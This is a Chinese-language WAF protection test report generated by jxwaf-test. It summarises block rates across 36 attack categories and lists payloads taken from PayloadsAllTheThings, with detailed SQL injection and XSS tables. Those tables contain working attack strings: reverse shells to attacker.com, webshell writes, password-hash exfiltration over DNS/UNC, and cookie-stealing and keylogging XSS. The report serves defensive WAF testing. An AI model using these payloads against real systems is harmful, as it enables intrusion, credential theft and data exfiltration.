防护能力测试报告
报告由 jxwaf-test 生成于 2026-05-30 13:34:45
测试POC来源: PayloadsAllTheThings
1. 测试概览
| 指标 | 数值 |
|---|---|
| WAF 目标地址 | http://dev.jxwaf.com/account_init_check |
| 测试项目分类数 | 36 |
| 测试项目总数 | 477 |
| 通过(成功拦截) | 461 |
| 未通过(漏报) | 16 |
| 请求异常 | 0 |
| 综合通过率 | 96.6% |
| 拦截判定标准 | HTTP [403] |
2. 测试覆盖分类
以下为本次测试覆盖的攻击类型及所属大类
| 分类 | 项目数 | 所属大类 |
|---|---|---|
| sql injection | 24 | SQL 注入 |
| mysql injection | 17 | SQL 注入 |
| mssql injection | 19 | SQL 注入 |
| postgresql injection | 18 | SQL 注入 |
| oracle injection | 17 | 其他 |
| sqlite injection | 10 | SQL 注入 |
| xss | 22 | XSS |
| xss by context | 15 | XSS |
| command injection | 20 | 命令注入 |
| file inclusion | 11 | 其他 |
| directory traversal | 12 | 其他 |
| ssti | 18 | 服务端注入 |
| xxe | 14 | XXE |
| ssi injection | 12 | 服务端注入 |
| xpath injection | 13 | 其他注入 |
| prototype pollution | 12 | 原型污染 |
| xslt injection | 12 | 服务端注入 |
| graphql injection | 12 | 其他注入 |
| java php dotnet deserialization | 7 | 反序列化 |
| java deserialization | 11 | 反序列化 |
| php deserialization | 6 | 反序列化 |
| python deserialization | 7 | 反序列化 |
| dotnet deserialization | 4 | 反序列化 |
| nodejs deserialization | 6 | 反序列化 |
| ruby deserialization | 3 | 反序列化 |
| file upload | 16 | 文件上传 |
| waf bypass sqli | 20 | SQL 注入、WAF 绕过 |
| waf bypass sqli db | 16 | SQL 注入、WAF 绕过 |
| waf bypass xss | 19 | XSS、WAF 绕过 |
| waf bypass command | 18 | 命令注入、WAF 绕过 |
| waf bypass path | 11 | WAF 绕过 |
| waf bypass lfi | 9 | 文件包含、WAF 绕过 |
| waf bypass xxe | 11 | XXE、WAF 绕过 |
| waf bypass upload | 15 | 文件上传、WAF 绕过 |
| waf bypass general | 10 | WAF 绕过 |
| latex injection | 10 | 其他注入 |
3. 分类通过率汇总
| 分类 | 项目数 | 通过 | 未通过 | 异常 | 通过率 |
|---|---|---|---|---|---|
| sql injection | 24 | 24 | 0 | 0 | ████████████████████ 100.0% |
| mysql injection | 17 | 17 | 0 | 0 | ████████████████████ 100.0% |
| mssql injection | 19 | 19 | 0 | 0 | ████████████████████ 100.0% |
| postgresql injection | 18 | 18 | 0 | 0 | ████████████████████ 100.0% |
| oracle injection | 17 | 17 | 0 | 0 | ████████████████████ 100.0% |
| sqlite injection | 10 | 10 | 0 | 0 | ████████████████████ 100.0% |
| xss | 22 | 22 | 0 | 0 | ████████████████████ 100.0% |
| xss by context | 15 | 15 | 0 | 0 | ████████████████████ 100.0% |
| command injection | 20 | 19 | 1 | 0 | ███████████████████░ 95.0% |
| file inclusion | 11 | 11 | 0 | 0 | ████████████████████ 100.0% |
| directory traversal | 12 | 12 | 0 | 0 | ████████████████████ 100.0% |
| ssti | 18 | 18 | 0 | 0 | ████████████████████ 100.0% |
| xxe | 14 | 14 | 0 | 0 | ████████████████████ 100.0% |
| ssi injection | 12 | 12 | 0 | 0 | ████████████████████ 100.0% |
| xpath injection | 13 | 13 | 0 | 0 | ████████████████████ 100.0% |
| prototype pollution | 12 | 10 | 2 | 0 | ████████████████░░░░ 83.3% |
| xslt injection | 12 | 12 | 0 | 0 | ████████████████████ 100.0% |
| graphql injection | 12 | 1 | 11 | 0 | █░░░░░░░░░░░░░░░░░░░ 8.3% |
| java php dotnet deserialization | 7 | 7 | 0 | 0 | ████████████████████ 100.0% |
| java deserialization | 11 | 11 | 0 | 0 | ████████████████████ 100.0% |
| php deserialization | 6 | 6 | 0 | 0 | ████████████████████ 100.0% |
| python deserialization | 7 | 7 | 0 | 0 | ████████████████████ 100.0% |
| dotnet deserialization | 4 | 4 | 0 | 0 | ████████████████████ 100.0% |
| nodejs deserialization | 6 | 6 | 0 | 0 | ████████████████████ 100.0% |
| ruby deserialization | 3 | 3 | 0 | 0 | ████████████████████ 100.0% |
| file upload | 16 | 16 | 0 | 0 | ████████████████████ 100.0% |
| waf bypass sqli | 20 | 20 | 0 | 0 | ████████████████████ 100.0% |
| waf bypass sqli db | 16 | 16 | 0 | 0 | ████████████████████ 100.0% |
| waf bypass xss | 19 | 19 | 0 | 0 | ████████████████████ 100.0% |
| waf bypass command | 18 | 18 | 0 | 0 | ████████████████████ 100.0% |
| waf bypass path | 11 | 10 | 1 | 0 | ██████████████████░░ 90.9% |
| waf bypass lfi | 9 | 9 | 0 | 0 | ████████████████████ 100.0% |
| waf bypass xxe | 11 | 11 | 0 | 0 | ████████████████████ 100.0% |
| waf bypass upload | 15 | 15 | 0 | 0 | ████████████████████ 100.0% |
| waf bypass general | 10 | 10 | 0 | 0 | ████████████████████ 100.0% |
| latex injection | 10 | 9 | 1 | 0 | ██████████████████░░ 90.0% |
综合通过率: 461/477 = 96.6%
4. 分类测试详情
状态: 🛡️ 通过 | ⚠️ 未通过 | ❌ 异常
4.1 sql injection
- 项目数: 24 | 通过: 24 | 通过率: 100.0%
| 状态 | 方法 | 项目描述 | Payload | HTTP 状态码 |
|---|---|---|---|---|
| 🛡️ | POST | SQL 注入 - 报错注入(通过报错泄露数据) | ' AND (SELECT 1 FROM(SELECT COUNT(*),CONCAT(version(),0x3a,FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a) AND '1'='1 | 403 |
| 🛡️ | POST | SQL 注入 - 联合查询注入(提取数据库版本、用户名、表名) | ' UNION SELECT 1,version(),user(),database(),5-- - | 403 |
| 🛡️ | POST | SQL 注入 - 时间盲注(延时5秒) | ' AND (SELECT SLEEP(5))-- | 403 |
| 🛡️ | POST | SQL 注入 - 堆叠查询(删表) | '; DROP TABLE users-- | 403 |
| 🛡️ | POST | SQL 注入 - 万能密码绕过登录 | ' OR '1'='1'-- | 403 |
| 🛡️ | POST | SQL 注入 - 布尔盲注(逐字符猜解管理员密码) | ' AND SUBSTRING((SELECT password FROM users WHERE username='admin' LIMIT 1),1,1)='a'-- | 403 |
| 🛡️ | POST | SQL 注入 - 读取系统文件 (/etc/passwd) | ' UNION SELECT LOAD_FILE('/etc/passwd'),2,3,4,5-- | 403 |
| 🛡️ | POST | SQL 注入 - 写入 Webshell 到 Web 目录 | ' UNION SELECT 1,'<?php system($_GET["cmd"]);?>',3,4,5 INTO OUTFILE '/var/www/html/shell.php'-- | 403 |
| 🛡️ | POST | SQL 注入 - 注入绕过空格过滤 (注释符替代空格) | '/**/OR/**/1=1/**/-- | 403 |
| 🛡️ | POST | SQL 注入 - 双写绕过关键字过滤提取数据 | ' UNIUNIONSELECTON SELECT user(),database(),version(),4,5-- | 403 |
| 🛡️ | POST | SQL 注入 - 宽字节注入绕过转义 (GBK) | %df' OR 1=1-- | 403 |
| 🛡️ | POST | SQL 注入 - PostgreSQL COPY 命令写入文件 RCE | '; COPY (SELECT '<?php system($_GET["cmd"]);?>') TO '/var/www/html/pg.php'-- | 403 |
| 🛡️ | POST | SQL 注入 - MSSQL xp_cmdshell 执行系统命令 | '; EXEC xp_cmdshell('whoami')-- | 403 |
| 🛡️ | POST | SQL 注入 - Oracle UTL_HTTP SSRF 攻击内网 | ' UNION SELECT UTL_HTTP.REQUEST('http://169.254.169.254/latest/meta-data/') FROM dual-- | 403 |
| 🛡️ | POST | SQL 注入 - DNS 带外数据泄露 (MySQL load_file + DNS) | ' UNION SELECT LOAD_FILE(CONCAT('\\\\',(SELECT password FROM users LIMIT 1),'.attacker.com\\a'))-- | 403 |
| 🛡️ | POST | SQL 注入 - 科学计数法绕过 WAF (等价于 1=1) | ' OR 1.e(1)=1.e(1)-- | 403 |
| 🛡️ | POST | SQL 注入 - 十六进制编码绕过 WAF 关键字检测 | ' UNION SELECT 0x61646d696e,2,3,4,5-- | 403 |
| 🛡️ | POST | SQL 注入 - 内联注释绕过 WAF 关键字检测提取数据 | ' /*!UNION*/ /*!SELECT*/ user(),database(),version(),4,5-- | 403 |
| 🛡️ | POST | SQL 注入 - ORDER BY 注入提取表名列名 | ' ORDER BY (SELECT 1 FROM information_schema.columns WHERE table_name='users' AND column_name='password')-- | 403 |
| 🛡️ | POST | SQL 注入 - 百分号绕过 WAF (MySQL # 替换 -- 注释) | ' UNION SELECT 1,2,3,4 FROM dual WHERE 1=1 AND 2344=2344 AND '1q'='1q | 403 |
| 🛡️ | POST | SQL 注入 - GROUP BY 注入提取数据 | ' GROUP BY (SELECT password FROM users WHERE username='admin')-- | 403 |
| 🛡️ | POST | SQL 注入 - MySQL UDF 动态库写入提权 RCE | ' UNION SELECT 0x7F454C46...,2,3,4,5 INTO DUMPFILE '/usr/lib/mysql/plugin/udf.so'-- | 403 |
| 🛡️ | POST | SQL 注入 - PostgreSQL 大对象写入文件 RCE | '; SELECT lo_export(lo_create(99999),'/var/www/html/lo.php'); INSERT INTO pg_largeobject VALUES (99999,0,'<?php system($_GET[1]);?>')-- | 403 |
| 🛡️ | POST | SQL 注入 - MSSQL sp_OACreate 写入文件 Getshell | '; DECLARE @o INT; EXEC sp_OACreate 'Scripting.FileSystemObject',@o OUT; EXEC sp_OAMethod @o,'CreateTextFile',NULL,'C:\inetpub\wwwroot\shell.asp'; EXE... | 403 |
4.2 mysql injection
- 项目数: 17 | 通过: 17 | 通过率: 100.0%
| 状态 | 方法 | 项目描述 | Payload | HTTP 状态码 |
|---|---|---|---|---|
| 🛡️ | POST | MySQL - UNION 查询窃取全部用户密码哈希 | ' UNION SELECT 1,user,password,4,5 FROM mysql.user-- | 403 |
| 🛡️ | POST | MySQL - LOAD_FILE 读取系统密码文件 | ' UNION SELECT LOAD_FILE('/etc/passwd'),2,3,4,5-- | 403 |
| 🛡️ | POST | MySQL - INTO OUTFILE 写入 Webshell | ' UNION SELECT 1,'<?php system($_GET[1]);?>',3,4,5 INTO OUTFILE '/var/www/html/shell.php'-- | 403 |
| 🛡️ | POST | MySQL - SLEEP 时间盲注获取管理员密码 (逐字符) | ' AND IF(SUBSTRING((SELECT password FROM users WHERE username='admin'),1,1)='a',SLEEP(5),0)-- | 403 |
| 🛡️ | POST | MySQL - INTO DUMPFILE 写入二进制文件 | ' UNION SELECT 0x3c3f7068702073797374656d28245f4745545b315d293b3f3e INTO DUMPFILE '/var/www/html/shell.php'-- | 403 |
| 🛡️ | POST | MySQL - BENCHMARK 延时注入替代 SLEEP | ' AND IF(SUBSTRING(user(),1,1)='r',BENCHMARK(5000000,MD5('x')),0)-- | 403 |
| 🛡️ | POST | MySQL - updatexml 报错注入泄露数据 | ' AND updatexml(1,concat(0x7e,(SELECT password FROM users LIMIT 1),0x7e),1)-- | 403 |
| 🛡️ | POST | MySQL - extractvalue 报错注入泄露数据 | ' AND extractvalue(1,concat(0x7e,(SELECT database()),0x7e))-- | 403 |
| 🛡️ | POST | MySQL - NAME_CONST 报错注入 | ' AND (SELECT * FROM (SELECT NAME_CONST(version(),1),NAME_CONST(version(),1)) AS x)-- | 403 |
| 🛡️ | POST | MySQL - 双查询报错注入 (floor/rand) | ' AND (SELECT 1 FROM(SELECT COUNT(*),CONCAT(version(),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)-- | 403 |
| 🛡️ | POST | MySQL - 多语句堆叠查询创建管理员用户 | '; INSERT INTO users(username,password,role) VALUES('hacker','p@ss','admin')-- | 403 |
| 🛡️ | POST | MySQL - 堆叠查询执行系统命令 (sys_exec UDF) | '; SELECT sys_exec('bash -c "bash -i >& /dev/tcp/attacker.com/4444 0>&1"')-- | 403 |
| 🛡️ | POST | MySQL - DNS 带外数据泄露 (UNC Path SMB 窃取 NTLM Hash) | ' UNION SELECT LOAD_FILE(CONCAT('\\\\',(SELECT password FROM users LIMIT 1),'.attacker.com\\a'))-- | 403 |
| 🛡️ | POST | MySQL - DNS 带外数据泄露 (Windows) | ' UNION SELECT LOAD_FILE(CONCAT('\\\\attacker.com\\',(SELECT user())))-- | 403 |
| 🛡️ | POST | MySQL - 无 information_schema 提取表名 (sys.schema_auto_increment_columns) | ' UNION SELECT table_name FROM sys.schema_auto_increment_columns WHERE table_schema=database()-- | 403 |
| 🛡️ | POST | MySQL - 无列名提取数据 (JOIN USING) | ' UNION SELECT * FROM (SELECT * FROM users AS a JOIN users AS b USING(id,username,password))x-- | 403 |
| 🛡️ | POST | MySQL - 无列名提取数据 (等值比较) | ' UNION SELECT 2 FROM (SELECT 1,2,3 UNION SELECT * FROM users)x LIMIT 1,1-- | 403 |
4.3 mssql injection
- 项目数: 19 | 通过: 19 | 通过率: 100.0%
| 状态 | 方法 | 项目描述 | Payload | HTTP 状态码 |
|---|---|---|---|---|
| 🛡️ | POST | MSSQL - xp_cmdshell 反弹 Shell | '; EXEC sp_configure 'show advanced options',1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE; EXEC xp_cmdshell 'powershell -c IEX(New-O... | 403 |
| 🛡️ | POST | MSSQL - xp_cmdshell 读取系统文件 | '; EXEC xp_cmdshell 'type C:\windows\system32\drivers\etc\hosts'-- | 403 |
| 🛡️ | POST | MSSQL - sp_OACreate 执行命令 (禁用 xp_cmdshell 时) | '; DECLARE @o INT; EXEC sp_OACreate 'WScript.Shell',@o OUT; EXEC sp_OAMethod @o,'Run',NULL,'cmd.exe /c whoami > C:\temp\out.txt'-- | 403 |
| 🛡️ | POST | MSSQL - xp_cmdshell 写入 Webshell | '; EXEC xp_cmdshell 'echo ^<% Execute(Request("cmd")) %^> > C:\inetpub\wwwroot\shell.asp'-- | 403 |
| 🛡️ | POST | MSSQL - OpenRowset 窃取数据到攻击者服务器 | '; INSERT INTO OPENROWSET('SQLOLEDB','uid=sa;pwd=Pass123;Network=DBMSSOCN;Address=attacker.com,80;','SELECT * FROM injected') SELECT name,password FRO... | 403 |
| 🛡️ | POST | MSSQL - sp_OACreate 写入 Webshell | '; DECLARE @o INT; EXEC sp_OACreate 'Scripting.FileSystemObject',@o OUT; EXEC sp_OAMethod @o,'CreateTextFile',NULL,'C:\inetpub\wwwroot\shell.asp'; EXE... | 403 |
| 🛡️ | POST | MSSQL - xp_dirtree UNC 路径注入窃取 NTLM 哈希 | '; EXEC master..xp_dirtree '\\attacker.com\share'-- | 403 |
| 🛡️ | POST | MSSQL - xp_subdirs UNC 路径注入窃取 NTLM 哈希 | '; EXEC master..xp_subdirs '\\attacker.com\share'-- | 403 |
| 🛡️ | POST | MSSQL - xp_fileexist UNC 路径注入窃取 NTLM 哈希 | '; EXEC master..xp_fileexist '\\attacker.com\share\test.txt'-- | 403 |
| 🛡️ | POST | MSSQL - 信任链接横向移动 (Linked Server) | '; SELECT * FROM OPENQUERY(LINKED_SERVER,'SELECT @@version')-- | 403 |
| 🛡️ | POST | MSSQL - OPENROWSET 联合查询 + 堆叠执行系统命令 | '; EXEC xp_cmdshell 'powershell -enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAb... | 403 |
| 🛡️ | POST | MSSQL - 信任链接命令执行 (Linked Server + xp_cmdshell) | '; EXEC ('EXEC xp_cmdshell ''whoami''') AT LINKED_SERVER-- | 403 |
| 🛡️ | POST | MSSQL - CLR 程序集加载执行命令 (高权限) | '; CREATE ASSEMBLY SQLCLR FROM 0x4D5A... WITH PERMISSION_SET=UNSAFE; CREATE PROCEDURE CmdExec AS EXTERNAL NAME SQLCLR.StoredProcedures.CmdExec-- | 403 |
| 🛡️ | POST | MSSQL - 错误信息泄露数据 (CONVERT/CAST) | ' AND 1=CONVERT(INT,(SELECT TOP 1 table_name FROM information_schema.tables))-- | 403 |
| 🛡️ | POST | MSSQL - OLE 自动化对象写入文件 | '; DECLARE @o INT; EXEC sp_OACreate 'ADODB.Stream',@o OUT; EXEC sp_OASetProperty @o,'Type',2; EXEC sp_OAMethod @o,'Open'; EXEC sp_OAMethod @o,'WriteTe... | 403 |
| 🛡️ | POST | MSSQL - xp_regread 读取注册表存储的密码 | '; EXEC xp_regread N'HKEY_LOCAL_MACHINE',N'SYSTEM\CurrentControlSet\Services\SNMP\Parameters\ValidCommunities'-- | 403 |
| 🛡️ | POST | MSSQL - xp_servicecontrol 启动/停止服务 | '; EXEC xp_servicecontrol 'start','MSSQLSERVER'-- | 403 |
| 🛡️ | POST | MSSQL - 查询 MSSQL 版本和数据库列表 | ' UNION SELECT @@version,DB_NAME(),3,4,5-- | 403 |
| 🛡️ | POST | MSSQL - 延时注入 WAITFOR DELAY | '; IF (SELECT COUNT(*) FROM sys.sql_logins WHERE PWDCOMPARE('p@ss')=1)=1 WAITFOR DELAY '0:0:5'-- | 403 |
4.4 postgresql injection
- 项目数: 18 | 通过: 18 | 通过率: 100.0%
| 状态 | 方法 | 项目描述 | Payload | HTTP 状态码 |
|---|---|---|---|---|
| 🛡️ | POST | PostgreSQL - COPY 命令写入文件 RCE | '; COPY (SELECT '<?php system($_GET[1]);?>') TO '/var/www/html/pg.php'-- | 403 |
| 🛡️ | POST | PostgreSQL - COPY FROM PROGRAM RCE | '; COPY (SELECT '') TO PROGRAM 'bash -c "bash -i >& /dev/tcp/attacker.com/4444 0>&1"'-- | 403 |
| 🛡️ | POST | PostgreSQL - 大对象 lo_export 写入 Webshell | '; SELECT lo_export(lo_create(99999),'/var/www/html/lo.php'); INSERT INTO pg_largeobject VALUES (99999,0,'<?php system($_GET[1]);?>')-- | 403 |
| 🛡️ | POST | PostgreSQL - pg_read_file 读取系统文件 | ' UNION SELECT pg_read_file('/etc/passwd'),2,3,4,5-- | 403 |
| 🛡️ | POST | PostgreSQL - pg_ls_dir 列目录 | ' UNION SELECT pg_ls_dir('/var/www'),2,3,4,5-- | 403 |
| 🛡️ | POST | PostgreSQL - pg_read_file 读取 /etc/shadow | ' UNION SELECT pg_read_file('/etc/shadow',0,9999),2,3,4,5-- | 403 |
| 🛡️ | POST | PostgreSQL - 延时注入 (pg_sleep) | ' AND (SELECT CASE WHEN (SELECT current_setting('is_superuser'))='on' THEN pg_sleep(5) ELSE pg_sleep(0) END)-- | 403 |
| 🛡️ | POST | PostgreSQL - CAST 报错注入泄露版本 | ' AND 1337=CAST((SELECT version()) AS INT)-- | 403 |
| 🛡️ | POST | PostgreSQL - CAST 报错注入泄露数据 | ' AND 1337=CAST((SELECT string_agg(table_name,',') FROM information_schema.tables WHERE table_schema=current_schema()) AS INT)-- | 403 |
| 🛡️ | POST | PostgreSQL - 堆叠查询 + COPY FROM PROGRAM 反弹 Shell | '; COPY (SELECT '') TO PROGRAM 'perl -e "use Socket;$i=\"attacker.com\";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));connect(S,sockad... | 403 |
| 🛡️ | POST | PostgreSQL - DNS 带外数据泄露 | '; COPY (SELECT (SELECT password FROM users LIMIT 1)) TO PROGRAM 'nslookup $(cat).attacker.com'-- | 403 |
| 🛡️ | POST | PostgreSQL - 堆叠查询创建超级用户 | '; CREATE USER hacker WITH SUPERUSER PASSWORD 'p@ss'-- | 403 |
| 🛡️ | POST | PostgreSQL - CREATE FUNCTION 用户定义函数执行命令 | '; CREATE OR REPLACE FUNCTION system(cmd text) RETURNS void AS $$ BEGIN EXECUTE cmd; END; $$ LANGUAGE plpgsql; SELECT system('cat /etc/shadow')-- | 403 |
| 🛡️ | POST | PostgreSQL - 报错注入 (RAISE) | ' AND 1=(SELECT CASE WHEN (SELECT current_user)='postgres' THEN 1/0 ELSE 1 END)-- | 403 |
| 🛡️ | POST | PostgreSQL - 类型转换报错注入 | ' AND (SELECT chr(126)||current_database()||chr(126)::NUMERIC)=1-- | 403 |
| 🛡️ | POST | PostgreSQL - 无引号绕过 (CHR 拼接) | ' UNION SELECT table_name FROM information_schema.tables WHERE table_schema=CHR(112)||CHR(117)||CHR(98)||CHR(108)||CHR(105)||CHR(99)-- | 403 |
| 🛡️ | POST | PostgreSQL - UNION 提取所有用户密码哈希 | ' UNION SELECT usename,passwd,3,4,5 FROM pg_shadow-- | 403 |
| 🛡️ | POST | PostgreSQL - dblink 扩展横向移动 | '; SELECT * FROM dblink('host=10.0.0.1 user=postgres password=secret','SELECT version()') AS t(ver TEXT)-- | 403 |
4.5 oracle injection
- 项目数: 17 | 通过: 17 | 通过率: 100.0%
| 状态 | 方法 | 项目描述 | Payload | HTTP 状态码 |
|---|---|---|---|---|
| 🛡️ | POST | Oracle - UNION 提取数据 (必须带 FROM dual) | ' UNION SELECT NULL,NULL,username,password FROM all_users-- | 403 |
| 🛡️ | POST | Oracle - UNION 提取版本和数据库名 | ' UNION SELECT NULL,banner,NULL,NULL FROM v$version-- | 403 |
| 🛡️ | POST | Oracle - 报错注入 (CTXSYS.DRITHSX.SN 函数) | ' AND 1=CTXSYS.DRITHSX.SN(1,(SELECT password FROM sys.user$ WHERE name='SYS'))-- | 403 |
| 🛡️ | POST | Oracle - 报错注入 (UTL_INADDR.get_host_name) | ' AND 1=UTL_INADDR.get_host_name((SELECT password FROM sys.user$ WHERE name='SYS'))-- | 403 |
| 🛡️ | POST | Oracle - 报错注入 (DBMS_XDB_VERSION) | ' AND (SELECT DBMS_XDB_VERSION.makeversioned((SELECT password FROM sys.user$ WHERE name='SYS')) FROM dual) IS NOT NULL-- | 403 |
| 🛡️ | POST | Oracle - 盲注 (SUBSTR + DECODE) | ' AND (SELECT DECODE(SUBSTR(password,1,1),'A',(SELECT COUNT(*) FROM all_tables)) FROM sys.user$ WHERE name='SYS') IS NOT NULL-- | 403 |
| 🛡️ | POST | Oracle - 延时注入 (DBMS_PIPE.RECEIVE_MESSAGE) | ' AND (SELECT CASE WHEN (SELECT user FROM dual)='SYS' THEN DBMS_PIPE.RECEIVE_MESSAGE(('a'),5) ELSE NULL END FROM dual) IS NOT NULL-- | 403 |
| 🛡️ | POST | Oracle - 延时注入 (DBMS_LOCK.SLEEP) | '; BEGIN DBMS_LOCK.SLEEP(5); END;-- | 403 |
| 🛡️ | POST | Oracle - OOB DNS 外带数据 (UTL_INADDR) | ' UNION SELECT UTL_INADDR.get_host_address((SELECT password FROM sys.user$ WHERE name='SYS')||'.attacker.com') FROM dual-- | 403 |
| 🛡️ | POST | Oracle - OOB DNS 外带数据 (UTL_HTTP) | ' UNION SELECT UTL_HTTP.REQUEST('http://attacker.com/'||(SELECT password FROM sys.user$ WHERE name='SYS')) FROM dual-- | 403 |
| 🛡️ | POST | Oracle - 堆叠查询修改管理员密码 | '; UPDATE sys.user$ SET password='hacked' WHERE name='ADMIN'; COMMIT-- | 403 |
| 🛡️ | POST | Oracle - Java 存储过程命令执行 | '; DECLARE l_output DBMS_OUTPUT.CHARARR; l_lines INTEGER:=1000; BEGIN DBMS_JAVA.SET_OUTPUT(1000); DBMS_JAVA.GRANT_PERMISSION('SYS','java.io.FilePermis... | 403 |
| 🛡️ | POST | Oracle - DBMS_XMLQUERY 执行命令 | '; SELECT DBMS_XMLQUERY.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION; begin execute immediate ''create or replace function xx return varchar2 is ... | 403 |
| 🛡️ | POST | Oracle - 文件读取 (BFILENAME) | ' UNION SELECT BFILENAME('DIR_NAME','filename'),NULL FROM dual-- | 403 |
| 🛡️ | POST | Oracle - 提取数据库链接 (横向移动) | ' UNION SELECT db_link,username,password,NULL,NULL FROM user_db_links-- | 403 |
| 🛡️ | POST | Oracle - Scheduler 任务执行命令 | '; BEGIN DBMS_SCHEDULER.create_job(job_name=>'JOB',job_type=>'EXECUTABLE',job_action=>'/bin/bash -c "bash -i >& /dev/tcp/attacker.com/4444 0>&1"',enab... | 403 |
| 🛡️ | POST | Oracle - UTL_FILE 文件写入 Webshell | '; DECLARE f UTL_FILE.FILE_TYPE; BEGIN f:=UTL_FILE.FOPEN('WWWROOT','shell.jsp','w'); UTL_FILE.PUT_LINE(f,'<% Runtime.getRuntime().exec(request.getPara... | 403 |
4.6 sqlite injection
- 项目数: 10 | 通过: 10 | 通过率: 100.0%
| 状态 | 方法 | 项目描述 | Payload | HTTP 状态码 |
|---|---|---|---|---|
| 🛡️ | POST | SQLite - 提取所有表名 | ' UNION SELECT 1,group_concat(name),3 FROM sqlite_master WHERE type='table'-- | 403 |
| 🛡️ | POST | SQLite - 提取表结构 (DDL) | ' UNION SELECT 1,sql,3 FROM sqlite_master WHERE type='table' AND name='users'-- | 403 |
| 🛡️ | POST | SQLite - 提取所有用户数据 | ' UNION SELECT 1,group_concat(username||':'||password),3 FROM users-- | 403 |
| 🛡️ | POST | SQLite - 写文件 (ATTACH DATABASE) | '; ATTACH DATABASE '/var/www/html/shell.php' AS shell; CREATE TABLE shell.pwn (dataz TEXT); INSERT INTO shell.pwn VALUES ('<?php system($_GET[1]);?>')... | 403 |
| 🛡️ | POST | SQLite - 读文件 (readfile) | ' UNION SELECT 1,readfile('/etc/passwd'),3-- | 403 |
| 🛡️ | POST | SQLite - 创建恶意函数 load_extension | '; SELECT load_extension('/tmp/evil.so')-- | 403 |
| 🛡️ | POST | SQLite - 报错注入 (RAISE) | ' AND (SELECT CASE WHEN (SELECT sql FROM sqlite_master LIMIT 1) LIKE '%password%' THEN RAISE(ABORT,'LEAK') ELSE 1 END)-- | 403 |
| 🛡️ | POST | SQLite - 写 crontab 定时任务 | '; ATTACH DATABASE '/var/spool/cron/crontabs/root' AS c; CREATE TABLE c.t (data TEXT); INSERT INTO c.t VALUES ('* * * * * bash -i >& /dev/tcp/attacker... | 403 |
| 🛡️ | POST | SQLite - 覆盖 .bashrc 持久化 | '; ATTACH DATABASE '/root/.bashrc' AS brc; CREATE TABLE brc.x (d TEXT); INSERT INTO brc.x VALUES ('/tmp/backdoor&'); DETACH DATABASE brc-- | 403 |
| 🛡️ | POST | SQLite - 注入获取 WAL 日志中的敏感数据 | ' UNION SELECT 1,hex(readfile('/var/www/html/db.sqlite-wal')),3-- | 403 |
4.7 xss
- 项目数: 22 | 通过: 22 | 通过率: 100.0%
| 状态 | 方法 | 项目描述 | Payload | HTTP 状态码 |
|---|---|---|---|---|
| 🛡️ | POST | XSS - 键盘记录回传攻击者服务器 | <script>document.onkeypress=function(e){new Image().src='http://attacker.com/k?k='+e.key}</script> | 403 |
| 🛡️ | POST | XSS - Cookie 窃取回传攻击者服务器 | <script>new Image().src='http://attacker.com/steal?c='+document.cookie</script> | 403 |
| 🛡️ | POST | XSS - 页面内容劫持(伪造登录钓鱼页面) | <script>document.body.innerHTML='<h1>Session Expired</h1><form action=http://attacker.com/steal method=post><input name=user><input name=pass type=pas... | 403 |
| 🛡️ | POST | XSS - SVG onload 窃取 Cookie 回传 | <svg/onload=fetch('http://attacker.com/'+document.cookie)> | 403 |
| 🛡️ | POST | XSS - img onerror 窃取 Cookie(base64 编码绕过 WAF) | <img src=x onerror=eval(atob('ZmV0Y2goJ2h0dHA6Ly9hdHRhY2tlci5jb20vJytkb2N1bWVudC5jb29raWUp'))> | 403 |
| 🛡️ | POST | XSS - iframe 全屏加载远程钓鱼页面 | <iframe src="http://attacker.com/phish" width=100% height=100%> | 403 |
| 🛡️ | POST | XSS - DOM 注入加载远程恶意脚本 | "><script>document.write('<script src=http://attacker.com/evil.js><\/script>')</script> | 403 |
| 🛡️ | POST | XSS - 大小写混淆绕过 script 过滤(窃取 Cookie 回传) | <ScRiPt>new Image().src='http://attacker.com/c?'+document.cookie</sCrIpT> | 403 |
| 🛡️ | POST | XSS - body onload 重定向到钓鱼页面 | <body onload=document.location='http://attacker.com/phish'> | 403 |
| 🛡️ | POST | XSS - CSS 注入窃取 CSRF Token 和敏感数据 | <style>@import url('http://attacker.com/steal?d='+document.cookie+'&t='+document.querySelector('[name=csrf]').value)</style> | 403 |
| 🛡️ | POST | XSS - mXSS 突变型 XSS(通过 innerHTML 变异绕过净化) | <listing><img src=1 onerror=alert(1)></listing> | 403 |
| 🛡️ | POST | XSS - JSONP 端点劫持 + CSP 绕过 | <script src="http://victim.com/jsonp?callback=fetch('http://attacker.com/'+document.cookie)"></script> | 403 |
| 🛡️ | POST | XSS - SVG foreignObject 嵌入 HTML 窃取数据 | <svg xmlns="http://www.w3.org/2000/svg"><foreignObject width="100%" height="100%"><body xmlns="http://www.w3.org/1999/xhtml"><script>new Image().src='... | 403 |
| 🛡️ | POST | XSS - 注册 Service Worker 实现持久化劫持 | <script>navigator.serviceWorker.register('http://attacker.com/sw.js')</script> | 403 |
| 🛡️ | POST | XSS - CSS keylogger(通过 CSS 属性选择器逐字符窃取输入) | <style>input[type=password][value^="a"]{background:url(http://attacker.com/a)}input[type=password][value^="b"]{background:url(http://attacker.com/b)}<... | 403 |
| 🛡️ | POST | XSS - 利用 postMessage 跨窗口窃取数据 | <script>window.addEventListener('message',function(e){new Image().src='http://attacker.com/'+e.data})</script> | 403 |
| 🛡️ | POST | XSS - 利用 window.name 跨域传输窃取数据(XSS 沙箱逃逸) | <script>eval('window.name="<script>fetch(http://attacker.com/+document.cookie)<\/script>"')</script> | 403 |
| 🛡️ | POST | XSS - data:text/html iframe 绕过 CSP | <iframe src="data:text/html,<script>new Image().src='http://attacker.com/'+parent.document.cookie</script>"> | 403 |
| 🛡️ | POST | XSS - AngularJS 沙箱逃逸 (1.0-1.5) | {{constructor.constructor('new Image().src="http://attacker.com/"+document.cookie')()}} | 403 |
| 🛡️ | POST | XSS - DOM Clobbering 劫持全局变量实现 XSS | <form id=x><output id=y>you</output></form><form name=x><input name=parentNode></form><script>alert(x.y.value)</script> | 403 |
| 🛡️ | POST | XSS - script 标签拆分绕过(字符串拼接) | <script>eval("new"+' Image().src="http://attacker.com/"+docu'+'ment.cookie')</script> | 403 |
